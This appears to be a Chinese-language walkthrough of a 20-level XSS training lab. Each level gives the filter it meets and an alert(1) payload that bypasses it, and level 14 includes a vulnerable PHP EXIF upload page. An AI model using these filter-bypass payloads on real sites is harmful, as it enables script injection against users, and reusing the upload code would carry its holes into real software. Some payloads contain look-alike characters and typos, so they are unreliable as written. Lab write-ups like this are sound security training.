目录
Lab-1
直接插入触发弹窗;
Payload:<script>alert(1)</script>
Lab-2
插入js语句后发现需先将前面闭合来触发js语句弹窗;
Payload:"><script>alert(1)</script>
Lab-3
插入语句发现没弹窗闭合也没效果,查看页面源代码发现<>、“”被转义了,尝试用下事件型语句;
Payload:'οnfοcus='alert(1)
Lab-4
先尝试用常规js语句,发现<>被过滤了,用js事件尝试触发弹窗;
Payload:"οnfοcus="alert(1)
Lab-5
在尝试js语句触发弹窗是发现<script、on被转义了,尝试用java伪协议来触发弹窗;
Payload:"><a herf="javascript:alert(1)">
Lab-6
经测试发现<script、on、src、href等都被转义了,尝试发现大小写可以绕过;
Payload:"><a hREf="javascript:alert(1)">
Lab-7
测试发现script、herf等被过滤了,尝试下双写绕过;
Payload:"><a hrhRefEf="javasscriptcript:alert(1)">
Lab-8
经测试发现script、on、herf等都被过滤且大小写无效,尝试使用HTML实体转换;
Payload:javascript:alert(1)
https://www.qqxiuzi.cn/bianma/zifushiti.php
Lab-9
查看源码发现会检测是否存在http://,
Payload:javascript:alert(1)//http://
Lab-10
常规语句测试检查发现有3个input标签状态为hidden,尝试构造payload修改type值,发现t_sort可以修改,
payload:&t_sort=" type="text" οnfοcus="alert(1)
Lab-11
尝试lab-10的测试方法:&t_link=" type="text"&t_history" type="text"&t_sort=" type="text"&t_ref=" type="text"发现没反应,查看源码发现接受参数值为t_sort,但是函数htmlspecialchars()会对双引号进行转义从而无法闭合,尝试通过$_SERVER['HTTP_REFERER']这个检测语句修改数据包的referer值来触发js语句;
Payload:referer: "type="text" οnfοcus="alert(1)
Lab-12
同lab-11思路一样,只是这里需要修改UA值;
Payload:"type="text" οnfοcus="alert(1)
Lab-13
和前面lab一样,只是需要修改cookie值;
Payload:"type="text" οnfοcus="alert(1)
Lab-14
这关什么都没有且跳转的url失效了,本地搭建测试环境
什么是Exif?
Exif是一种图像文件格式,实际上Exif格式就是在JPEG格式头部插入了数码照片的信息,包括拍摄时的光圈、快门、白平衡、ISO、焦距、日期时间等各种和拍摄条件以及相机品牌、型号、色彩编码、拍摄时录制的声音以及GPS全球定位系统数据、缩略图等。你可以利用任何可以查看JPEG文件的看图软件浏览Exif格式的照片,但并不是所有的图形程序都能处理Exif信息。
代码:
<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>欢迎来到level14</title>
</head>
<body>
<h1 align=center>欢迎来到level14</h1>
<!--<center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://127.0.0.1/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center>-->
<?php
echo '
<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>欢迎来到level14</title>
</head>
<center>
<form action="./index.php" method=POST enctype=multipart/form-data>
<label for=file>文件名:</label><input type=file name=file id=file><br>
<input type=submit name=submit value=提交></form></center></html>';
try{
// 允许上传的图片后缀
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp); // 获取文件后缀名
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/jpg")
|| ($_FILES["file"]["type"] == "image/pjpeg")
|| ($_FILES["file"]["type"] == "image/x-png")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 204800) // 小于 200 kb
&& in_array($extension, $allowedExts))
{
if ($_FILES["file"]["error"] > 0)
{
echo "错误:: " . $_FILES["file"]["error"] . "<br>";
}
else
{
echo "上传文件名: " . $_FILES["file"]["name"] . "<br>";
}
move_uploaded_file($_FILES["file"]["tmp_name"], $_FILES["file"]["name"]);
}
else
{
echo "非法的文件格式";
}
$file = $_FILES["file"]["name"];
$exif = exif_read_data($file, 0, true);
echo "<h4>[ ".$file." ]的EXIF信息:</h4>";
foreach ($exif as $key => $section) {
foreach ($section as $name => $val) {
echo "$key.$name: $val<br />\n";
}
}
}catch (Exception $e){
echo $e;
}
?>
<center>这关成功后不会自动跳转。成功者<a href=/level15.php?src=level15.png>点我进level15</a></center>
</body>
</html>
上传张修改后的图片,触发弹窗
Lab-15
常规闭合测试发现被转义了,查看源码,根据ng-include特性包含level1.php利用name参数构造
Payload:?src='level1.php?name=<img src=1 οnclick=alert(1)>'
*ng-include是angular js中的东西,其作用相当于php的include函数。
①、ng-include 指令用于包含外部的 HTML文件。
②、包含的内容将作为指定元素的子节点。
③、ng-include 属性的值可以是一个表达式,返回一个文件名。
④、默认情况下,包含的文件需要包含在同一个域名下。
⑤、ng-include,如果单纯指定地址,必须要加引号
⑥、ng-include,加载外部html,script标签中的内容不执行
⑦、ng-include,加载外部html中含有style标签样式可以识别
Lab-16
常规测试发现srcipt、空格等被过滤,尝试%0a或%0D当成空格使用触发弹窗;
Payload:<img%0asrc=1%0aοnerrοr=alert(1)>
“0D”是把光标移到同一行的顶头——回车(CR)
“0A”是把光标移到下一行——换行(LF)
Lab-17
页面什么都没有使用个常规语句测试,查看页面源码发现参数在<embed>标签中,火狐的swf直接屏蔽了,使用谷歌无法显示但可以利用事件onmouseover、onfocus来触发,要是可以正常显示可以使用onclick这种;
Payload:οnfοcus=alert(1)
<embed>标签就是引入一个swf文件到浏览器端,并且它的src属性值没
有添加引号,所以不用闭合
Lab-18
同lab-17一样;
Payload:οnfοcus=alert(1)
Lab-19
这里涉及到flash xss,需要先获取swf文件进行反编译,这里参考了下大佬文章:
https://blog.csdn.net/qq_40929683/article/details/120422266
测试了好几个浏览器都不行,后续在看看;
根据%s,猜测这个应该是个占位符,
定位%s,这里从参数中提取名为version的参数,替换到%s上
通过函数转换成文本,再通过函数write()输出
从源码可以看出这里需要2个传参,
构造payload:arg01=version&arg02=<a href="javascript:alert(1)">xss</a>
Lab-20
思路同lab-19,环境问题略